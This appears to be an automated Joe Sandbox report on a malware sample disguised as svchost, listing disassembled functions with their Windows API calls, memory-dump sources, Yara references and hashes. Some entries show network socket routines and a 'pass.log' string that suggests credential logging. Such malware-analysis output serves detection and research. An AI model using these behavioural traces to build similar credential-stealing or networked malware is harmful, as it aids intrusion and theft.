                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • shutdown.WS2_32(?,00000001), ref: 02C883CB
                                                                                                                                                                                                            • shutdown.WS2_32(02C884AC,00000001), ref: 02C883D0
                                                                                                                                                                                                            • recv.WS2_32(02C884AC,?,00000400,00000000), ref: 02C883EF
                                                                                                                                                                                                            • recv.WS2_32(?,?,00000400,00000000), ref: 02C88405
                                                                                                                                                                                                            • closesocket.WS2_32(?), ref: 02C88419
                                                                                                                                                                                                            • closesocket.WS2_32(02C884AC), ref: 02C8841C
                                                                                                                                                                                                            • ExitThread.KERNEL32 ref: 02C88420
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: closesocketrecvshutdown$ExitThread
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 1638183600-0
                                                                                                                                                                                                            • Opcode ID: db002666e193d67a4fa707397537c28dadfaec4b9e9a6e682c755636d7f6cf5f
                                                                                                                                                                                                            • Instruction ID: 050308a56ae31777cf988864614140b0bd900212560c140347662cfed291bd14
                                                                                                                                                                                                            • Opcode Fuzzy Hash: db002666e193d67a4fa707397537c28dadfaec4b9e9a6e682c755636d7f6cf5f
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 85F031B29503187BD720AA65CC85F9B3B6CAB88B94F004644BB09BB180D6B4F941CEE4
                                                                                                                                                                                                            Function 02C89130 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 41memorysynchronizationCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • WaitForSingleObject.KERNEL32(?,000003E8,00000000,02C89113,?,?,?,?,?,?,02C8839A,00000000,02C881F0,02CC7D6C), ref: 02C8913C
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,00000030,?,?,?,?,?,?,02C8839A,00000000,02C881F0,02CC7D6C), ref: 02C89146
                                                                                                                                                                                                            • HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,02C8839A,00000000,02C881F0,02CC7D6C), ref: 02C8914D
                                                                                                                                                                                                            • memset.MSVCRT ref: 02C8915E
                                                                                                                                                                                                            • ReleaseMutex.KERNEL32(?,?,?,?,?,?,?,02C8839A,00000000,02C881F0,02CC7D6C), ref: 02C891AA
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Heap$AllocMutexObjectProcessReleaseSingleWaitmemset
                                                                                                                                                                                                            • String ID: P0#v
                                                                                                                                                                                                            • API String ID: 819421891-3387790918
                                                                                                                                                                                                            • Opcode ID: bf17576b4b3f9974584de17eb10b964acc128a6fc0dcc4f49bd0e869d17f9889
                                                                                                                                                                                                            • Instruction ID: e6f4492e7aabcac417ad51598b3df8eae1fa1d9cfa0e8139636ceb90c3e03de5
                                                                                                                                                                                                            • Opcode Fuzzy Hash: bf17576b4b3f9974584de17eb10b964acc128a6fc0dcc4f49bd0e869d17f9889
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 9E01F3B0E81B11AFC32ACF28E844B46FBF4BF48710F048A5AE55A87780D730B950CB90
                                                                                                                                                                                                            Function 02C9C97A Relevance: 9.1, APIs: 6, Instructions: 141fileCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • free.MSVCRT ref: 02C9C81F
                                                                                                                                                                                                            • MoveFileA.KERNEL32(?,?), ref: 02C9CA0D
                                                                                                                                                                                                            • GetFileAttributesA.KERNEL32(?), ref: 02C9CA51
                                                                                                                                                                                                            • CreateDirectoryA.KERNEL32(?,00000000), ref: 02C9CAC3
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: File$AttributesCreateDirectoryMovefree
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 1026147201-0
                                                                                                                                                                                                            • Opcode ID: 6d56f136752f8de2cf715215aaabbe1badd567b4ca862488b421c707f727fe41
                                                                                                                                                                                                            • Instruction ID: 6fbb9ba311c2d486b087baf120766f527d6bb41bf08a3a80a0ff45588bae05d7
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 6d56f136752f8de2cf715215aaabbe1badd567b4ca862488b421c707f727fe41
                                                                                                                                                                                                            • Instruction Fuzzy Hash: D4413831A4429A8FDF21CF7888987F97FA49F9A344F1445EAE582CB245DB309705CBA1
                                                                                                                                                                                                            Function 02C880E0 Relevance: 9.1, APIs: 6, Instructions: 106networkCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • WSAGetLastError.WS2_32 ref: 02C8810E
                                                                                                                                                                                                            • VirtualQuery.KERNEL32(Function_00023910,?,0000001C), ref: 02C8813F
                                                                                                                                                                                                            • VirtualQuery.KERNEL32(Function_00023910,?,0000001C), ref: 02C8816B
                                                                                                                                                                                                            • VirtualQuery.KERNEL32(Function_00023910,?,0000001C), ref: 02C88192
                                                                                                                                                                                                            • IsBadReadPtr.KERNEL32(?,00000004), ref: 02C881B4
                                                                                                                                                                                                            • WSASetLastError.WS2_32(?), ref: 02C881DE
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: QueryVirtual$ErrorLast$Read
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 2835504744-0
                                                                                                                                                                                                            • Opcode ID: c5fd1cbb214b15cdab6ce06d29a125c76e6a7ede30152256b383716933324556
                                                                                                                                                                                                            • Instruction ID: e7fe724f489af6321f71dceae56ef92282b7923a0bf88af3b1335e520fe97cb7
                                                                                                                                                                                                            • Opcode Fuzzy Hash: c5fd1cbb214b15cdab6ce06d29a125c76e6a7ede30152256b383716933324556
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 6F41CAB1E0020DAFDB40DFA9D985AAEBBF9EF48304F518569E905E7200E7749A41CF90
                                                                                                                                                                                                            Function 02C9F1E0 Relevance: 9.1, APIs: 6, Instructions: 100COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                              • Part of subcall function 02C9F540: htons.WS2_32(?), ref: 02C9F564
                                                                                                                                                                                                              • Part of subcall function 02C9F540: inet_addr.WS2_32(?), ref: 02C9F56F
                                                                                                                                                                                                              • Part of subcall function 02C9F540: htonl.WS2_32(000000FF), ref: 02C9F57A
                                                                                                                                                                                                              • Part of subcall function 02C9F540: gethostbyname.WS2_32(?), ref: 02C9F586
                                                                                                                                                                                                              • Part of subcall function 02C9F540: socket.WS2_32(00000002,00000001,00000000), ref: 02C9F5A0
                                                                                                                                                                                                              • Part of subcall function 02C9F540: connect.WS2_32(00000000,?,00000010), ref: 02C9F5B3
                                                                                                                                                                                                              • Part of subcall function 02C9F540: closesocket.WS2_32(00000000), ref: 02C9F5BE
                                                                                                                                                                                                            • setsockopt.WS2_32(00000000,00000006,00000001,00000001,00000004), ref: 02C9F21F
                                                                                                                                                                                                            • closesocket.WS2_32 ref: 02C9F234
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: closesocket$connectgethostbynamehtonlhtonsinet_addrsetsockoptsocket
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 2706992148-0
                                                                                                                                                                                                            • Opcode ID: 53adfa6ea3cf7b33249b95afa0770064adb70ff08dbdb1e7d2fb769282cd73ba
                                                                                                                                                                                                            • Instruction ID: cc431ba2af91e8e9b9009b5b2c384af590350d5debc5c8f42bee17bc6d3df787
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 53adfa6ea3cf7b33249b95afa0770064adb70ff08dbdb1e7d2fb769282cd73ba
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 2A310A75A40615BBDB10CFA8E84DBEAB7A8FF05710F20825AF515C7180EB719A54CBE1
                                                                                                                                                                                                            Function 02C79030 Relevance: 9.1, APIs: 6, Instructions: 88COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetWindowRect.USER32(?,?), ref: 02C79057
                                                                                                                                                                                                            • IsRectEmpty.USER32(?), ref: 02C790C6
                                                                                                                                                                                                            • GetWindowLongA.USER32(?,000000F0), ref: 02C790D6
                                                                                                                                                                                                            • GetParent.USER32(?), ref: 02C790EA
                                                                                                                                                                                                            • MapWindowPoints.USER32(00000000,00000000,?,02C79754), ref: 02C790F3
                                                                                                                                                                                                            • SetWindowPos.USER32(?,00000000,?,02C79754,00000000,00008001,0000630C,?,02C79754,00000000,00008001,?), ref: 02C79115
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Window$Rect$EmptyLongParentPoints
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 379166938-0
                                                                                                                                                                                                            • Opcode ID: 374e363667ad26d19e2a5c50ec631439f3f6d0eb4c8d02660777ea6d35d9f735
                                                                                                                                                                                                            • Instruction ID: 4e9a8a0b1bcc44802f0ea67f31edd1616058c903fd7bc8432f77e8a2b9c7038a
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 374e363667ad26d19e2a5c50ec631439f3f6d0eb4c8d02660777ea6d35d9f735
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 5F313071E40219EFDB01CFA9D949AFEBBB8FF49710F104699E445A7240D7B09A10CBA1
                                                                                                                                                                                                            Function 02C72860 Relevance: 9.1, APIs: 6, Instructions: 87COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: callocexitfree
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 3367576030-0
                                                                                                                                                                                                            • Opcode ID: 64cf0029b2f039a47c8f44471105e99cfb02d11d2272fc1700fe2650d6133c84
                                                                                                                                                                                                            • Instruction ID: 969ca29441430a44ae7d068f8bd1570233bf6ff43ec5cf71020b18c90718a8d7
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 64cf0029b2f039a47c8f44471105e99cfb02d11d2272fc1700fe2650d6133c84
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 64213DB6A00359AFDB11CF58DC81BAB77A8FF88310F044569ED4597340D772EE108BA2
                                                                                                                                                                                                            Function 02C81AC0 Relevance: 9.1, APIs: 6, Instructions: 63memoryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetAncestor.USER32(00000000,00000002,?,00000000), ref: 02C81ACE
                                                                                                                                                                                                            • GetWindowTextA.USER32(00000000,?,00000104), ref: 02C81AE9
                                                                                                                                                                                                              • Part of subcall function 02C81330: memset.MSVCRT ref: 02C81347
                                                                                                                                                                                                              • Part of subcall function 02C81330: SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?,?,7622F550,00000000), ref: 02C8135E
                                                                                                                                                                                                              • Part of subcall function 02C81330: PathAddBackslashA.SHLWAPI(?,?,7622F550,00000000), ref: 02C8136B
                                                                                                                                                                                                              • Part of subcall function 02C81330: PathFileExistsA.SHLWAPI(?,?,7622F550,00000000), ref: 02C813A7
                                                                                                                                                                                                              • Part of subcall function 02C81330: lstrcpynA.KERNEL32(02CC7C28,00000000,00000104,00000000,00000001,?,7622F550,00000000), ref: 02C813D1
                                                                                                                                                                                                              • Part of subcall function 02C81330: GetProcessHeap.KERNEL32(00000000,00000000,?,7622F550,00000000), ref: 02C813E0
                                                                                                                                                                                                              • Part of subcall function 02C81330: HeapValidate.KERNEL32(00000000,?,7622F550,00000000), ref: 02C813E3
                                                                                                                                                                                                              • Part of subcall function 02C81330: GetProcessHeap.KERNEL32(00000000,00000000,?,7622F550,00000000), ref: 02C813F0
                                                                                                                                                                                                              • Part of subcall function 02C81330: HeapFree.KERNEL32(00000000,?,7622F550,00000000), ref: 02C813F3
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C81B47
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 02C81B4A
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C81B57
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 02C81B5A
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Heap$Process$Path$FreeValidate$AncestorBackslashExistsFileFolderTextWindowlstrcpynmemset
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 649337724-0
                                                                                                                                                                                                            • Opcode ID: 1d786c4ce8f3e7b9c375caa0773c66e8652aa73733a14f89ed2191edea3b9b28
                                                                                                                                                                                                            • Instruction ID: 26e08be0b0e164c66fd54795b2ce944ec44a80d45b1e8e4f516e699ee8a2f7d6
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 1d786c4ce8f3e7b9c375caa0773c66e8652aa73733a14f89ed2191edea3b9b28
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 9611C8B1E4425457DB206B349C18FF33BE89B91358F088A94E88C87180FBB0D95ACB60
                                                                                                                                                                                                            Function 02C89B20 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 64COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(82C3182D), ref: 02C89B47
                                                                                                                                                                                                            • GetFileAttributesA.KERNEL32(?), ref: 02C89B85
                                                                                                                                                                                                            • PathFileExistsA.SHLWAPI(?), ref: 02C89BC9
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: FilePath$AttributesBackslashExists
                                                                                                                                                                                                            • String ID: 82C3182D$pass.log
                                                                                                                                                                                                            • API String ID: 2713433229-516074972
                                                                                                                                                                                                            • Opcode ID: 78619ef695ab782b7263028e11ce17cc6bd4f0f8d27fa45550990d259e2171eb
                                                                                                                                                                                                            • Instruction ID: dd6b5d5ff430268dd9c764518b0ef113d75c22a133e28c216694d89d03cf3145
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 78619ef695ab782b7263028e11ce17cc6bd4f0f8d27fa45550990d259e2171eb
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 691127319046484BD7229B28A8A47F7BBE4EFC6301F14C6E4ECCAD7301EA30DA59C780
                                                                                                                                                                                                            Function 02C862E0 Relevance: 8.8, APIs: 7, Instructions: 50memoryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                              • Part of subcall function 02C92F00: OpenProcess.KERNEL32(00000000,00001400,00000000,00000000,7734FFB0,?,?,?,?,?,?,02C86436,?,00000000), ref: 02C92F2C
                                                                                                                                                                                                              • Part of subcall function 02C92F00: GetProcessTimes.KERNEL32(00000000,02C86436,?,?,?,?,?,?,?,?,?,02C86436,?,00000000), ref: 02C92F4A
                                                                                                                                                                                                              • Part of subcall function 02C92F00: GetHandleInformation.KERNEL32(00000000,?,?,?,?,?,?,?,02C86436,?,00000000), ref: 02C92F68
                                                                                                                                                                                                              • Part of subcall function 02C92F00: CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,02C86436,?,00000000), ref: 02C92F79
                                                                                                                                                                                                            • EnterCriticalSection.KERNEL32(02CBD8A0,?,00000000,00000000,02C865A8), ref: 02C862F9
                                                                                                                                                                                                            • LeaveCriticalSection.KERNEL32(02CBD8A0), ref: 02C86315
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,0872D5E8), ref: 02C8633A
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 02C8633D
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,0872D5E8), ref: 02C8634A
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 02C8634D
                                                                                                                                                                                                            • LeaveCriticalSection.KERNEL32(02CBD8A0), ref: 02C86358
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: HeapProcess$CriticalSection$HandleLeave$CloseEnterFreeInformationOpenTimesValidate
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 3901171168-0
                                                                                                                                                                                                            • Opcode ID: 26c6d85392eb8c4a16e942620162100858da66d781d82b7ac1ffba0ce0e35a5f
                                                                                                                                                                                                            • Instruction ID: e16848d6b56a16331ab7f53f00c9a1bda535184f7d0ec46107e6b32ba09f805d
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 26c6d85392eb8c4a16e942620162100858da66d781d82b7ac1ffba0ce0e35a5f
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 8D01D832F44310A7DB217FA6F848B5A779CDFC4B56F244969E646C7240C7715414CBD0
                                                                                                                                                                                                            Function 00401330 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 48libraryloaderCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetTickCount.KERNEL32 ref: 0040135A
                                                                                                                                                                                                            • GetModuleHandleA.KERNEL32(ntdll.dll,?,00402A8E,-00000006,00000000), ref: 00401367
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,RtlUniform), ref: 00401373
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3375821338.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3375821338.000000000045B000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_400000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: AddressCountHandleModuleProcTick
                                                                                                                                                                                                            • String ID: RtlUniform$ntdll.dll
                                                                                                                                                                                                            • API String ID: 1545651562-3277137149
                                                                                                                                                                                                            • Opcode ID: d14c2f9e698ac929ed0932fb87d06ba4f74ade3cc07b29cd2c75e337da446871
                                                                                                                                                                                                            • Instruction ID: 796e466c09054be0152a46d456eb4211c9760dde1472f6724dae78271da73244
                                                                                                                                                                                                            • Opcode Fuzzy Hash: d14c2f9e698ac929ed0932fb87d06ba4f74ade3cc07b29cd2c75e337da446871
                                                                                                                                                                                                            • Instruction Fuzzy Hash: E80126712003045BC314AB6AAC81696B7DEAB84706341413BEE05F36A2C23AD8048BAC
                                                                                                                                                                                                            Function 004012A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 23libraryloaderCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetTickCount.KERNEL32 ref: 004012AB
                                                                                                                                                                                                            • GetModuleHandleA.KERNEL32(ntdll.dll,?,00402A82,00000000), ref: 004012BC
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,RtlUniform), ref: 004012CC
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3375821338.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3375821338.000000000045B000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_400000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: AddressCountHandleModuleProcTick
                                                                                                                                                                                                            • String ID: RtlUniform$ntdll.dll
                                                                                                                                                                                                            • API String ID: 1545651562-3277137149
                                                                                                                                                                                                            • Opcode ID: eae13d97ce2cff1767e69285929d2bc7f9bbc3e812787a57d7dc8512338ae20e
                                                                                                                                                                                                            • Instruction ID: b56d10f3903839679d055e287fe873ff32dc311f96dddc7098b711b9a384a0cf
                                                                                                                                                                                                            • Opcode Fuzzy Hash: eae13d97ce2cff1767e69285929d2bc7f9bbc3e812787a57d7dc8512338ae20e
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 65E04FB07413045BD714BFB6AD09A1637DD9BC47073968036BB09F21E1DA39C814CA6D
                                                                                                                                                                                                            Function 02C9A8B0 Relevance: 7.7, APIs: 5, Instructions: 239COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • malloc.MSVCRT ref: 02C9A909
                                                                                                                                                                                                              • Part of subcall function 02C9F0F0: __WSAFDIsSet.WS2_32(?,?), ref: 02C9F1A0
                                                                                                                                                                                                              • Part of subcall function 02C9F0F0: closesocket.WS2_32(?), ref: 02C9F1BD
                                                                                                                                                                                                            • realloc.MSVCRT ref: 02C9A915
                                                                                                                                                                                                            • malloc.MSVCRT ref: 02C9A94D
                                                                                                                                                                                                            • realloc.MSVCRT ref: 02C9A959
                                                                                                                                                                                                            • malloc.MSVCRT ref: 02C9A9AC
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: malloc$realloc$closesocket
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 3133911991-0
                                                                                                                                                                                                            • Opcode ID: 0356a3c1231401b6a7be1d7f5de1c8159a5ac392767ba78456acf3909ac10746
                                                                                                                                                                                                            • Instruction ID: 234d781074eed9ee82bdb69a372c02d58ebd33085692b2bbe08d611481305c46
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 0356a3c1231401b6a7be1d7f5de1c8159a5ac392767ba78456acf3909ac10746
                                                                                                                                                                                                            • Instruction Fuzzy Hash: BD91B471E006468FCF04CF69DD94BEA37A6FF84305F1985B9ED099B346D634AA11CBA0
                                                                                                                                                                                                            Function 02C83070 Relevance: 7.6, APIs: 5, Instructions: 111COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetLastError.KERNEL32 ref: 02C83079
                                                                                                                                                                                                            • VirtualQuery.KERNEL32(02C93910,?,0000001C), ref: 02C830AC
                                                                                                                                                                                                            • VirtualQuery.KERNEL32(02C93910,?,0000001C), ref: 02C830D8
                                                                                                                                                                                                            • VirtualQuery.KERNEL32(02C93910,?,0000001C), ref: 02C830FF
                                                                                                                                                                                                            • SetLastError.KERNEL32(?), ref: 02C8317D
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
